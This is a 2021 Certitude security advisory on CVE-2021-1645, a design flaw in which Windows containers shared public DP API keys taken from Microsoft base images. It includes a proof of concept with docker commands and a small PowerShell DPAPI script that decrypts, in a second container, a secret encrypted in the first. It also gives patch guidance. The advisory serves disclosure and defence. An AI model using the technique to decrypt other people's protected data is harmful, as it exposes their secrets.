~ Certitude Security Advisory - CSA-2021-002 ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
PRODUCT : Windows Containers
VENDOR : Microsoft
SEVERITY : High
AFFECTED VERSION : Windows 10, Windows Server
IDENTIFIERS : CVE-2021-1645
PATCH VERSION : KB4598229, KB4598230, KB4598242, KB4598243
FOUND BY : Marc Nimmerrichter, Certitude Lab
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Introduction
------------
Windows containers is a feature that extends the container
concept well-known
from Linux environments to Windows. Just like containers on Linux,
Windows
containers utilize a shared kernel but container processes are
somewhat
isolated from one another.
The Windows Data Protection API (DP API) allows applications to
encrypt
arbitrary data. An application does not have to manage keys, but
instead, any
data can be passed to the API, which then returns an encrypted
blob.
Similarly, an application can pass a previously encrypted blob to
DP API to
retrieve the plain text. The cryptographic key used for these
encryption
operations is either tied to the user context or is unique to a
machine.
There was a design issue with DP API in containers which
resulted in DP API
using the same key in all containers. Additionally, these keys were
public in
base-image layers published by Microsoft.
Organizations using DP API inside containers should apply
patches to Windows
and use the latest base images. However, the fix causes a design
change, which
might render the use of DP API difficult for many use-cases.
Vulnerability Overview
----------------------
The vulnerability described applies to both, user- and
machine-key DP API
encryption within Windows Docker containers. In our description we
will use
machine key encryption, but the same issue exists if data is
encrypted with
the user-key.
Normally, a machine key is tied to a (virtual-)machine.
Therefore, a machine
is not able to decrypt data encrypted by an application on another
machine.
However, due to a design issue, DP API machine keys used in
containers came
from the container images. Since Windows docker images are based on
the same
base images, the DP API keys of containers were identical. As the
base image
is public, the DP API keys were public too!
Therefore, DP API operations performed by any Windows container
application
were ineffective, as the encryption key that was used is public.
Organizations
that used DP API in Windows Docker containers and relied on it to
store
encrypted data in a potentially insecure location, should consider
this data
as compromised.
Proof-of-Concept
----------------
First, start a docker container called Alice on VM1:
\$ docker run --name Alice -it
mcr.microsoft.com/dotnet/framework/runtime:4.8-windowsservercore-ltsc2019
cmd.exe
Then, encrypt a file in the Alice container using the powershell
script
vault.ps1:
C:\>powershell.exe -File vault.ps1 -StoreSecret "This is my
secret text"
secret.txt
C:\>type secret.txt
AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAm+1a2TNbiEahEIB4y/C3vQAAAAACAAAAAAAQZgAAAAEAACAAAAAdbJ9ZanY929j39ZLgabsaE5hRS4TLkCaaaRqb
+n3ZXAAAAAAOgAAAAAIAACAAAAC7fHbsKHCTaMhsWIVMYwUZezbLozItcqExHdg9EJcfDiAAAABFv2EHA5TTqb8I9I+BZrfQS5ViD93KZlL4FoYIBldGY0AA
AABdx7adlANRnw1shJTOtE6cYTAeqmb1yTe9adcSY1nBvtqlqSWQ/zwGaqfIfumuUm+o+ySwZXH/Su5GovJ8aUP9
Start a docker container Bob on VM2:
\$ docker run --name Bob -it
mcr.microsoft.com/dotnet/framework/runtime:4.8-windowsservercore-ltsc2019
cmd.exe
The following command shows that the file encrypted by Alice on
VM1 can be
decrypted in the Bob container on VM2:
C:\>powershell.exe -File vault.ps1 secret.txt
This is my secret text
The vault.ps1 PowerShell script from
https://blag.nullteilerfrei.de/2018/01/05/powershell-dpapi-script/
used in
this PoC:
``` {.powershell```}
Param(
[string] $StoreSecret,
[Parameter(Mandatory=$True,Position=0)]
[string] $filename )
[void]
[Reflection.Assembly]::LoadWithPartialName("System.Security")
$scope =
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
if ($StoreSecret -eq "") {
$data = Get-Content $filename
$ciphertext = [System.Convert]::FromBase64String($data)
$plaintext =
[System.Security.Cryptography.ProtectedData]::Unprotect(
$ciphertext, $null, $scope )
[System.Text.UTF8Encoding]::UTF8.GetString($plaintext)
} else {
$plaintext =
[System.Text.UTF8Encoding]::UTF8.GetBytes($StoreSecret)
$ciphertext =
[System.Security.Cryptography.ProtectedData]::Protect(
$plaintext, $null, $scope )
[System.Convert]::ToBase64String($ciphertext) > $filename
}
```
Resolution
----------
Microsoft fixed this vulnerability with a patch for Windows
Server and Windows
10 operating systems and in their docker base-images. Users should
apply both,
OS updates and base-image updates, to address this issue. Please
also refer to
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1645.
However, the patch comes with a caveat: As the issue is a design
problem, it
could not be fixed in a straightforward way. Windows containers now
generate a
DP API key when the container is first started. This also means
that all
containers use different keys. There is currently no supported way
to share
keys between containers or transfer a key from one container to
another. This
is impractical, because containers are often relatively
short-lived. Moreover,
when a container is scaled up, new containers will not be able to
work with
previously encrypted blobs. This reduces the potential use-cases of
DP API
with containers.
References
----------
https://certitude.consulting/blog/en/windows-docker-dp-api-vulnerability-cve-2021-1645/
https://certitude.consulting/advisories/CSA_2021_002_Windows_Docker_DP_API_Design_Vulnerability.md.txt
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1645
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(c) 2021 Certitude Consulting GmbH
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